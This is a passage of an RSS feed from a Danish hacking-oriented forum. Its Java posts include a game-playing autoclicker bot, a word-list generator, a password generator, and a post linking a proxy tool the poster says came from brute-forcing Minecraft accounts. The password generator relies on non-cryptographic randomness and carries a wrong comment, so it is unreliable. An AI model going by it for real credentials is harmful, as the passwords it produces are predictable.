			<content:encoded><![CDATA[hej det er godt at kode java hej det er så lækkert jeg kan godt lide jer det er for fedt kode java<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: red;" class="mycode_color">Brugeren er blevet advaret for denne post</span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[proxyscrapeGUI]]></title>
			<link>https://www.shellsec.pw/traad-proxyscrapegui</link>
			<pubDate>Tue, 06 Aug 2013 13:31:45 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-proxyscrapegui</guid>
			<description><![CDATA[Fandt den fil på min computer, ved ikke om den er noget værd. Mener jeg har den fra dengang, jeg Bruteforcede Minecraft accounts. <br />
<a href="http://www.mediafire.com/?99k8vvu1djjdd7w" target="_blank" rel="noopener" class="mycode_url">http://www.mediafire.com/?99k8vvu1djjdd7w</a><br />
<br />
Kan den overhovedet bruges til noget?]]></description>
			<content:encoded><![CDATA[Fandt den fil på min computer, ved ikke om den er noget værd. Mener jeg har den fra dengang, jeg Bruteforcede Minecraft accounts. <br />
<a href="http://www.mediafire.com/?99k8vvu1djjdd7w" target="_blank" rel="noopener" class="mycode_url">http://www.mediafire.com/?99k8vvu1djjdd7w</a><br />
<br />
Kan den overhovedet bruges til noget?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Random Password Generator]]></title>
			<link>https://www.shellsec.pw/traad-random-password-generator</link>
			<pubDate>Sat, 25 May 2013 16:48:40 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-random-password-generator</guid>
			<description><![CDATA[Jeg så lige, at der var en random text generator herinde, så jeg tænkte, at jeg ville poste min egen. <br />
Jeg kalder den Random Password Generator, men det er stort set det samme.<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>import java.util.Random;<br />
<br />
public class RandomPasswordGenerator {<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;private Random rand;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;public void start() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rand = new java.util.Random();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(randomString(333)); //333 er længden på det string den laver<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;public String randomString(int length) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String s = "";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int i = 1; i &lt;= length; i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s += Character.toString((char)Character.toChars(rand.nextInt(26)+97)[0]); //97 can skiftes ud med 65 for at få det i lowercase.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return s;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;public static void main(String[] args) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new RandomPasswordGenerator().start();<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}</code></div></div>]]></description>
			<content:encoded><![CDATA[Jeg så lige, at der var en random text generator herinde, så jeg tænkte, at jeg ville poste min egen. <br />
Jeg kalder den Random Password Generator, men det er stort set det samme.<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>import java.util.Random;<br />
<br />
public class RandomPasswordGenerator {<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;private Random rand;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;public void start() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rand = new java.util.Random();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(randomString(333)); //333 er længden på det string den laver<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;public String randomString(int length) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String s = "";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int i = 1; i &lt;= length; i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s += Character.toString((char)Character.toChars(rand.nextInt(26)+97)[0]); //97 can skiftes ud med 65 for at få det i lowercase.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return s;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;public static void main(String[] args) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new RandomPasswordGenerator().start();<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Random text generator.]]></title>
			<link>https://www.shellsec.pw/traad-random-text-generator</link>
			<pubDate>Tue, 26 Mar 2013 16:41:49 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-random-text-generator</guid>
			<description><![CDATA[Random text generator kodet efter request af Danbirk.<br />
Programmet laver blot et output på alt som er muligt med alfabetet,<br />
med en længde på 3.<br />
Programmet gemmer ordene i "demusrnames.txt".<br />
<br />
<br />
<div><div class="spoiler_header">randTextGen.java <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-java">import java.io.BufferedWriter;<br />
<br />
import java.io.FileWriter;<br />
import java.io.IOException;<br />
import java.util.ArrayList;<br />
import java.util.Scanner;<br />
<br />
/*<br />
 * Credits goes to morph3s<br />
 * <br />
 */<br />
<br />
<br />
public class Usergen {<br />
		<br />
	ArrayList&lt;String&gt; chars = new ArrayList&lt;String&gt;();<br />
	Scanner scn = new Scanner(System.in);<br />
	int hwmuch = 0;<br />
	int made = 0;<br />
	public static void main(String args[]){<br />
		System.out.println("Coded by morph3s for danbirk ;)");<br />
		Usergen usr = new Usergen();<br />
		usr.start();<br />
	}<br />
	<br />
	private void start(){<br />
		System.out.println("Initializing chars");<br />
		initChars();<br />
		System.out.println("Chars initialized!");<br />
		<br />
		<br />
		System.out.print("How many words would you like?");<br />
		hwmuch = scn.nextInt();<br />
		System.out.println("Making " + hwmuch + " words");<br />
		bruteChars();<br />
		<br />
		<br />
	}<br />
	<br />
	<br />
	private void bruteChars(){<br />
		<br />
		FileWriter fileStream = null;<br />
		BufferedWriter fout = null;<br />
		try {<br />
			fileStream = new FileWriter("demusrnames.txt");<br />
			fout = new BufferedWriter(fileStream);<br />
		} catch (IOException e1) {<br />
			// TODO Auto-generated catch block<br />
			e1.printStackTrace();<br />
		}<br />
		<br />
		topLoop:<br />
		for(int a=0; a&lt;chars.size(); a++){<br />
			for(int b=0; b&lt;chars.size(); b++){<br />
				for(int c=0; c&lt;chars.size(); c++){<br />
					if(made&gt;=hwmuch){<br />
						System.out.println("Goal reached. Stopping to clean up");<br />
						break topLoop;<br />
					}<br />
					try {<br />
						fout.write((chars.get(a) + chars.get(b) + chars.get&copy;));<br />
						fout.newLine();<br />
					} catch (IOException e1) {<br />
						// TODO Auto-generated catch block<br />
						e1.printStackTrace();<br />
					}<br />
					<br />
					made++;<br />
				}<br />
			}<br />
		}<br />
		<br />
		<br />
		//Cleaning<br />
		try {<br />
			fout.close();<br />
			fileStream.close();<br />
		} catch (IOException e) {<br />
			// TODO Auto-generated catch block<br />
			e.printStackTrace();<br />
		}<br />
		<br />
		<br />
		<br />
		<br />
	}<br />
	private void initChars(){<br />
		chars.add("a");<br />
		chars.add("b");<br />
		chars.add("c");<br />
		chars.add("d");<br />
		chars.add("e");<br />
		chars.add("f");<br />
		chars.add("g");<br />
		chars.add("h");<br />
		chars.add("i");<br />
		chars.add("j");<br />
		chars.add("k");<br />
		chars.add("l");<br />
		chars.add("m");<br />
		chars.add("n");<br />
		chars.add("o");<br />
		chars.add("p");<br />
		chars.add("q");<br />
		chars.add("r");<br />
		chars.add("s");<br />
		chars.add("t");<br />
		chars.add("u");<br />
		chars.add("v");<br />
		chars.add("w");<br />
		chars.add("x");<br />
		chars.add("y");<br />
		chars.add("z");<br />
	<br />
	}<br />
}<br />
</code></pre>
</div></div>]]></description>
			<content:encoded><![CDATA[Random text generator kodet efter request af Danbirk.<br />
Programmet laver blot et output på alt som er muligt med alfabetet,<br />
med en længde på 3.<br />
Programmet gemmer ordene i "demusrnames.txt".<br />
<br />
<br />
<div><div class="spoiler_header">randTextGen.java <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-java">import java.io.BufferedWriter;<br />
<br />
import java.io.FileWriter;<br />
import java.io.IOException;<br />
import java.util.ArrayList;<br />
import java.util.Scanner;<br />
<br />
/*<br />
 * Credits goes to morph3s<br />
 * <br />
 */<br />
<br />
<br />
public class Usergen {<br />
		<br />
	ArrayList&lt;String&gt; chars = new ArrayList&lt;String&gt;();<br />
	Scanner scn = new Scanner(System.in);<br />
	int hwmuch = 0;<br />
	int made = 0;<br />
	public static void main(String args[]){<br />
		System.out.println("Coded by morph3s for danbirk ;)");<br />
		Usergen usr = new Usergen();<br />
		usr.start();<br />
	}<br />
	<br />
	private void start(){<br />
		System.out.println("Initializing chars");<br />
		initChars();<br />
		System.out.println("Chars initialized!");<br />
		<br />
		<br />
		System.out.print("How many words would you like?");<br />
		hwmuch = scn.nextInt();<br />
		System.out.println("Making " + hwmuch + " words");<br />
		bruteChars();<br />
		<br />
		<br />
	}<br />
	<br />
	<br />
	private void bruteChars(){<br />
		<br />
		FileWriter fileStream = null;<br />
		BufferedWriter fout = null;<br />
		try {<br />
			fileStream = new FileWriter("demusrnames.txt");<br />
			fout = new BufferedWriter(fileStream);<br />
		} catch (IOException e1) {<br />
			// TODO Auto-generated catch block<br />
			e1.printStackTrace();<br />
		}<br />
		<br />
		topLoop:<br />
		for(int a=0; a&lt;chars.size(); a++){<br />
			for(int b=0; b&lt;chars.size(); b++){<br />
				for(int c=0; c&lt;chars.size(); c++){<br />
					if(made&gt;=hwmuch){<br />
						System.out.println("Goal reached. Stopping to clean up");<br />
						break topLoop;<br />
					}<br />
					try {<br />
						fout.write((chars.get(a) + chars.get(b) + chars.get&copy;));<br />
						fout.newLine();<br />
					} catch (IOException e1) {<br />
						// TODO Auto-generated catch block<br />
						e1.printStackTrace();<br />
					}<br />
					<br />
					made++;<br />
				}<br />
			}<br />
		}<br />
		<br />
		<br />
		//Cleaning<br />
		try {<br />
			fout.close();<br />
			fileStream.close();<br />
		} catch (IOException e) {<br />
			// TODO Auto-generated catch block<br />
			e.printStackTrace();<br />
		}<br />
		<br />
		<br />
		<br />
		<br />
	}<br />
	private void initChars(){<br />
		chars.add("a");<br />
		chars.add("b");<br />
		chars.add("c");<br />
		chars.add("d");<br />
		chars.add("e");<br />
		chars.add("f");<br />
		chars.add("g");<br />
		chars.add("h");<br />
		chars.add("i");<br />
		chars.add("j");<br />
		chars.add("k");<br />
		chars.add("l");<br />
		chars.add("m");<br />
		chars.add("n");<br />
		chars.add("o");<br />
		chars.add("p");<br />
		chars.add("q");<br />
		chars.add("r");<br />
		chars.add("s");<br />
		chars.add("t");<br />
		chars.add("u");<br />
		chars.add("v");<br />
		chars.add("w");<br />
		chars.add("x");<br />
		chars.add("y");<br />
		chars.add("z");<br />
	<br />
	}<br />
}<br />
</code></pre>
</div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Diamond Dash Bot Kildekode - Facebook]]></title>
			<link>https://www.shellsec.pw/traad-diamond-dash-bot-kildekode-facebook</link>
			<pubDate>Tue, 12 Mar 2013 20:31:50 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-diamond-dash-bot-kildekode-facebook</guid>
			<description><![CDATA[Her er kildekoden til Diamond Dash botten. Kan sagtens forbedres. Enjoy :)<br />
<br />
<br />
Det er blot en bot til at spille det famøse facebook spil "Diamond Dash" for en :)<br />
EDIT: Nu er V2 ude med hotkeys for at stoppe det + custom screen res<br />
<br />
jKeyMaster bliver brugt i dette program og kan findes her: <a href="https://mega.co.nz/#!OsYFQIBL!XZfRsWFfD5N2HpBTDI9W6zlcK-9qYV0QaMA27E3bTrk" target="_blank" rel="noopener" class="mycode_url">jKeyMaster</a> og herefter linkes som library til botten<br />
jKeyMaster bliver brugt til at registrere globale hotkeys. <br />
<div><div class="spoiler_header">diamondDashBot.java <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-java">/*<br />
 *   Coded by: 			Morph3s<br />
 *   Date:     			3/12/2013 <br />
 *   Released on: 		ShellSec.org<br />
 */<br />
<br />
<br />
<br />
import java.awt.AWTException;<br />
import java.awt.Color;<br />
import java.awt.Rectangle;<br />
import java.awt.Robot;<br />
import java.awt.event.InputEvent;<br />
import java.awt.image.BufferedImage;<br />
import java.util.Scanner;<br />
<br />
import javax.swing.KeyStroke;<br />
<br />
import com.tulskiy.keymaster.common.HotKey;<br />
import com.tulskiy.keymaster.common.HotKeyListener;<br />
import com.tulskiy.keymaster.common.Provider;<br />
<br />
<br />
public class MainDasher {<br />
	<br />
	public int x = 1920;<br />
	public int y = 1080;<br />
	<br />
	public final int gamewidth = 400;<br />
	public final int gameheight = 350;<br />
	<br />
	public final Color cornercolor = new Color(231,117,78);<br />
	<br />
	//Diamonds<br />
	public final Color blueb = new Color(6,101,252);<br />
	public final Color redb = new Color(241,43,46);<br />
	public final Color greenb = new Color(64,193,30);<br />
	public final Color yellowb = new Color(235,178,0);<br />
	public final Color purpleb = new Color(185,59,255);<br />
	<br />
	<br />
	//Multidimensional array for mapping the entire game<br />
	public Diamond[][] diamondmap = new Diamond[10][9];<br />
	<br />
	<br />
	public BufferedImage gamescreenshot;<br />
	public Rectangle gameRect;<br />
	<br />
	<br />
	//Corner in game size<br />
	public int corneroner1x;<br />
	public int corneroner1y;<br />
	<br />
	public int cornertwo2x;<br />
	public int cornertwo2y;<br />
	<br />
	public int diamondsfound = 0;<br />
	<br />
	Robot robo;<br />
	Scanner scn = new Scanner(System.in);<br />
	<br />
	Boolean runBot = true;<br />
	Boolean foundcorner = false;<br />
	Boolean allowedToRun = false;<br />
	int match;<br />
	<br />
	<br />
	public static void main(String args[]){<br />
		System.out.println("Credits goes to Morph3s at ShellSec.org");<br />
		System.out.println("Press escape to stop it from running");<br />
		MainDasher md = new MainDasher();<br />
		<br />
		md.start();<br />
		<br />
	}<br />
	<br />
	<br />
<br />
	public void start(){<br />
		<br />
		//Initializes global hotkey<br />
		initscreenres();<br />
		inithotkey();<br />
		<br />
		<br />
		<br />
		<br />
		<br />
		<br />
		try {<br />
			robo = new Robot();<br />
			Rectangle screenRect = new Rectangle(x, y);<br />
			BufferedImage screenshot = robo.createScreenCapture(screenRect);<br />
			<br />
			<br />
			//Find corner<br />
			for(int a=1; a&lt;x; a++){<br />
				for(int b=1; b&lt;y; b++){<br />
					int scrnRGB = screenshot.getRGB(a, b);<br />
					if(convertToRgb(scrnRGB).equals(cornercolor)){<br />
						System.out.println("Found corner at: x=" + a + " and y=" + b);<br />
						corneroner1x = a + 40;<br />
						corneroner1y = b + 40;<br />
						<br />
						cornertwo2x = a+450-39;<br />
						cornertwo2y = b+400-39;<br />
						foundcorner=true;<br />
						break;<br />
					}<br />
					<br />
				}<br />
			}<br />
			if(!foundcorner){<br />
				System.out.println("Could not find corner. Quitting.");<br />
				return;	<br />
			}<br />
			<br />
			System.out.println("The bot has started...");<br />
			while(runBot){<br />
					try {<br />
						Thread.sleep(40);<br />
					} catch (InterruptedException e) {<br />
						// TODO Auto-generated catch block<br />
						e.printStackTrace();<br />
					}<br />
					<br />
					allowedToRun = false;<br />
					gameRect = new Rectangle((corneroner1x+11), (corneroner1y+11), gamewidth, gameheight);<br />
					<br />
					gamescreenshot = robo.createScreenCapture(gameRect);<br />
					int rowcount = 0;<br />
					int columncount = 0;<br />
					<br />
					//Map every diamond<br />
					<br />
					for(int a=1; a&lt;gamewidth; a+=40){<br />
						<br />
						for(int b=1; b&lt;gameheight; b+=40){<br />
							<br />
							int scrnRGB = gamescreenshot.getRGB(a, b);<br />
							Color diamondColor = convertToRgb(scrnRGB);<br />
							<br />
							<br />
							Diamond diamond = new Diamond((a+corneroner1x+11), (b+corneroner1y+11), diamondColor);<br />
							diamondmap[rowcount][columncount] = diamond;<br />
							columncount++;<br />
							if(columncount==9){<br />
								columncount=0;<br />
							}<br />
						}<br />
						rowcount++;<br />
					}<br />
					<br />
					//Find match for every diamond<br />
					matchloop:<br />
					for (int row = 0; row &lt; 10; row++) {<br />
						for (int col = 0; col &lt; 9; col++) {<br />
							if(findMatch(row, col, "none") &gt;= 2){<br />
								System.out.println("Three diamonds found");<br />
								System.out.println("At: " + row + "  " + col);<br />
								robo.mouseMove(diamondmap[row][col].x, diamondmap[row][col].y);<br />
								robo.mousePress(InputEvent.BUTTON1_MASK);<br />
								robo.mouseRelease(InputEvent.BUTTON1_MASK);<br />
								match = 0;<br />
							    break matchloop;<br />
							}<br />
							match = 0;<br />
					       }<br />
					   }<br />
			}<br />
			<br />
		} catch (AWTException e) {<br />
			// TODO Auto-generated catch block<br />
			e.printStackTrace();<br />
		}<br />
		<br />
		<br />
	}<br />
	<br />
	<br />
	// Recursive function for finding matches.<br />
	public int findMatch(int rowcount, int columncount, String last){<br />
		if(match &gt;= 2){<br />
			return match;<br />
		}<br />
		if(rowcount &gt; 0 &amp;&amp; diamondmap[rowcount-1][columncount].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="right"){<br />
			match++;<br />
			findMatch(rowcount-1, columncount, "left");<br />
 		}<br />
		if(rowcount &lt; 9 &amp;&amp; diamondmap[rowcount+1][columncount].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="left"){<br />
			match++;<br />
			findMatch(rowcount+1, columncount, "right");<br />
		}<br />
		if(columncount &gt; 0 &amp;&amp; diamondmap[rowcount][columncount-1].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="down"){<br />
			match++;<br />
			findMatch(rowcount, columncount-1, "up");<br />
		}<br />
		if(columncount &lt; 8 &amp;&amp; diamondmap[rowcount][columncount+1].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="up"){<br />
			match++;<br />
			findMatch(rowcount, columncount+1, "down");<br />
		}<br />
		return match;<br />
	}<br />
	<br />
	<br />
	<br />
	final HotKeyListener listener = new HotKeyListener() {<br />
        public void onHotKey(final HotKey hotKey) {<br />
        	System.out.println("Stopping!");<br />
        	runBot = false;<br />
        }<br />
<br />
		<br />
    };<br />
	<br />
	public void inithotkey(){<br />
		System.out.println("Initializing hotkey");<br />
		Provider provider = Provider.getCurrentProvider(false);<br />
		provider.register(KeyStroke.getKeyStroke("ESCAPE"), listener);<br />
	<br />
	}<br />
	<br />
	public void initscreenres(){<br />
		System.out.println("Please enter the screen resolution of your screen. If your resolution is 1920x1020 then x=1920 and y=1020");<br />
		System.out.print("x: ");<br />
		x = scn.nextInt();<br />
		System.out.print("y: ");<br />
		y = scn.nextInt();<br />
		<br />
		System.out.println("Screen resolution set to: " + x + "x" + y + " if this is wrong then.... You're retarded.");<br />
	}<br />
	<br />
	<br />
	public Color convertToRgb(int rgb){<br />
		int red = (rgb &gt;&gt; 16) &amp; 0xFF;<br />
		int green = (rgb &gt;&gt; 8) &amp; 0xFF;<br />
		int blue = rgb &amp; 0xFF;<br />
		return new Color(red, green, blue);<br />
	}<br />
	<br />
	<br />
}<br />
<br />
<br />
class Diamond{<br />
	public int x;<br />
	public int y;<br />
	public Color color;<br />
	<br />
	Diamond(int x, int y, Color color){<br />
		this.x = x;<br />
		this.y = y;<br />
		this.color = color;<br />
	}<br />
	<br />
<br />
}<br />
</code></pre></div></div>]]></description>
			<content:encoded><![CDATA[Her er kildekoden til Diamond Dash botten. Kan sagtens forbedres. Enjoy :)<br />
<br />
<br />
Det er blot en bot til at spille det famøse facebook spil "Diamond Dash" for en :)<br />
EDIT: Nu er V2 ude med hotkeys for at stoppe det + custom screen res<br />
<br />
jKeyMaster bliver brugt i dette program og kan findes her: <a href="https://mega.co.nz/#!OsYFQIBL!XZfRsWFfD5N2HpBTDI9W6zlcK-9qYV0QaMA27E3bTrk" target="_blank" rel="noopener" class="mycode_url">jKeyMaster</a> og herefter linkes som library til botten<br />
jKeyMaster bliver brugt til at registrere globale hotkeys. <br />
<div><div class="spoiler_header">diamondDashBot.java <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-java">/*<br />
 *   Coded by: 			Morph3s<br />
 *   Date:     			3/12/2013 <br />
 *   Released on: 		ShellSec.org<br />
 */<br />
<br />
<br />
<br />
import java.awt.AWTException;<br />
import java.awt.Color;<br />
import java.awt.Rectangle;<br />
import java.awt.Robot;<br />
import java.awt.event.InputEvent;<br />
import java.awt.image.BufferedImage;<br />
import java.util.Scanner;<br />
<br />
import javax.swing.KeyStroke;<br />
<br />
import com.tulskiy.keymaster.common.HotKey;<br />
import com.tulskiy.keymaster.common.HotKeyListener;<br />
import com.tulskiy.keymaster.common.Provider;<br />
<br />
<br />
public class MainDasher {<br />
	<br />
	public int x = 1920;<br />
	public int y = 1080;<br />
	<br />
	public final int gamewidth = 400;<br />
	public final int gameheight = 350;<br />
	<br />
	public final Color cornercolor = new Color(231,117,78);<br />
	<br />
	//Diamonds<br />
	public final Color blueb = new Color(6,101,252);<br />
	public final Color redb = new Color(241,43,46);<br />
	public final Color greenb = new Color(64,193,30);<br />
	public final Color yellowb = new Color(235,178,0);<br />
	public final Color purpleb = new Color(185,59,255);<br />
	<br />
	<br />
	//Multidimensional array for mapping the entire game<br />
	public Diamond[][] diamondmap = new Diamond[10][9];<br />
	<br />
	<br />
	public BufferedImage gamescreenshot;<br />
	public Rectangle gameRect;<br />
	<br />
	<br />
	//Corner in game size<br />
	public int corneroner1x;<br />
	public int corneroner1y;<br />
	<br />
	public int cornertwo2x;<br />
	public int cornertwo2y;<br />
	<br />
	public int diamondsfound = 0;<br />
	<br />
	Robot robo;<br />
	Scanner scn = new Scanner(System.in);<br />
	<br />
	Boolean runBot = true;<br />
	Boolean foundcorner = false;<br />
	Boolean allowedToRun = false;<br />
	int match;<br />
	<br />
	<br />
	public static void main(String args[]){<br />
		System.out.println("Credits goes to Morph3s at ShellSec.org");<br />
		System.out.println("Press escape to stop it from running");<br />
		MainDasher md = new MainDasher();<br />
		<br />
		md.start();<br />
		<br />
	}<br />
	<br />
	<br />
<br />
	public void start(){<br />
		<br />
		//Initializes global hotkey<br />
		initscreenres();<br />
		inithotkey();<br />
		<br />
		<br />
		<br />
		<br />
		<br />
		<br />
		try {<br />
			robo = new Robot();<br />
			Rectangle screenRect = new Rectangle(x, y);<br />
			BufferedImage screenshot = robo.createScreenCapture(screenRect);<br />
			<br />
			<br />
			//Find corner<br />
			for(int a=1; a&lt;x; a++){<br />
				for(int b=1; b&lt;y; b++){<br />
					int scrnRGB = screenshot.getRGB(a, b);<br />
					if(convertToRgb(scrnRGB).equals(cornercolor)){<br />
						System.out.println("Found corner at: x=" + a + " and y=" + b);<br />
						corneroner1x = a + 40;<br />
						corneroner1y = b + 40;<br />
						<br />
						cornertwo2x = a+450-39;<br />
						cornertwo2y = b+400-39;<br />
						foundcorner=true;<br />
						break;<br />
					}<br />
					<br />
				}<br />
			}<br />
			if(!foundcorner){<br />
				System.out.println("Could not find corner. Quitting.");<br />
				return;	<br />
			}<br />
			<br />
			System.out.println("The bot has started...");<br />
			while(runBot){<br />
					try {<br />
						Thread.sleep(40);<br />
					} catch (InterruptedException e) {<br />
						// TODO Auto-generated catch block<br />
						e.printStackTrace();<br />
					}<br />
					<br />
					allowedToRun = false;<br />
					gameRect = new Rectangle((corneroner1x+11), (corneroner1y+11), gamewidth, gameheight);<br />
					<br />
					gamescreenshot = robo.createScreenCapture(gameRect);<br />
					int rowcount = 0;<br />
					int columncount = 0;<br />
					<br />
					//Map every diamond<br />
					<br />
					for(int a=1; a&lt;gamewidth; a+=40){<br />
						<br />
						for(int b=1; b&lt;gameheight; b+=40){<br />
							<br />
							int scrnRGB = gamescreenshot.getRGB(a, b);<br />
							Color diamondColor = convertToRgb(scrnRGB);<br />
							<br />
							<br />
							Diamond diamond = new Diamond((a+corneroner1x+11), (b+corneroner1y+11), diamondColor);<br />
							diamondmap[rowcount][columncount] = diamond;<br />
							columncount++;<br />
							if(columncount==9){<br />
								columncount=0;<br />
							}<br />
						}<br />
						rowcount++;<br />
					}<br />
					<br />
					//Find match for every diamond<br />
					matchloop:<br />
					for (int row = 0; row &lt; 10; row++) {<br />
						for (int col = 0; col &lt; 9; col++) {<br />
							if(findMatch(row, col, "none") &gt;= 2){<br />
								System.out.println("Three diamonds found");<br />
								System.out.println("At: " + row + "  " + col);<br />
								robo.mouseMove(diamondmap[row][col].x, diamondmap[row][col].y);<br />
								robo.mousePress(InputEvent.BUTTON1_MASK);<br />
								robo.mouseRelease(InputEvent.BUTTON1_MASK);<br />
								match = 0;<br />
							    break matchloop;<br />
							}<br />
							match = 0;<br />
					       }<br />
					   }<br />
			}<br />
			<br />
		} catch (AWTException e) {<br />
			// TODO Auto-generated catch block<br />
			e.printStackTrace();<br />
		}<br />
		<br />
		<br />
	}<br />
	<br />
	<br />
	// Recursive function for finding matches.<br />
	public int findMatch(int rowcount, int columncount, String last){<br />
		if(match &gt;= 2){<br />
			return match;<br />
		}<br />
		if(rowcount &gt; 0 &amp;&amp; diamondmap[rowcount-1][columncount].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="right"){<br />
			match++;<br />
			findMatch(rowcount-1, columncount, "left");<br />
 		}<br />
		if(rowcount &lt; 9 &amp;&amp; diamondmap[rowcount+1][columncount].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="left"){<br />
			match++;<br />
			findMatch(rowcount+1, columncount, "right");<br />
		}<br />
		if(columncount &gt; 0 &amp;&amp; diamondmap[rowcount][columncount-1].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="down"){<br />
			match++;<br />
			findMatch(rowcount, columncount-1, "up");<br />
		}<br />
		if(columncount &lt; 8 &amp;&amp; diamondmap[rowcount][columncount+1].color.equals(diamondmap[rowcount][columncount].color) &amp;&amp; last!="up"){<br />
			match++;<br />
			findMatch(rowcount, columncount+1, "down");<br />
		}<br />
		return match;<br />
	}<br />
	<br />
	<br />
	<br />
	final HotKeyListener listener = new HotKeyListener() {<br />
        public void onHotKey(final HotKey hotKey) {<br />
        	System.out.println("Stopping!");<br />
        	runBot = false;<br />
        }<br />
<br />
		<br />
    };<br />
	<br />
	public void inithotkey(){<br />
		System.out.println("Initializing hotkey");<br />
		Provider provider = Provider.getCurrentProvider(false);<br />
		provider.register(KeyStroke.getKeyStroke("ESCAPE"), listener);<br />
	<br />
	}<br />
	<br />
	public void initscreenres(){<br />
		System.out.println("Please enter the screen resolution of your screen. If your resolution is 1920x1020 then x=1920 and y=1020");<br />
		System.out.print("x: ");<br />
		x = scn.nextInt();<br />
		System.out.print("y: ");<br />
		y = scn.nextInt();<br />
		<br />
		System.out.println("Screen resolution set to: " + x + "x" + y + " if this is wrong then.... You're retarded.");<br />
	}<br />
	<br />
	<br />
	public Color convertToRgb(int rgb){<br />
		int red = (rgb &gt;&gt; 16) &amp; 0xFF;<br />
		int green = (rgb &gt;&gt; 8) &amp; 0xFF;<br />
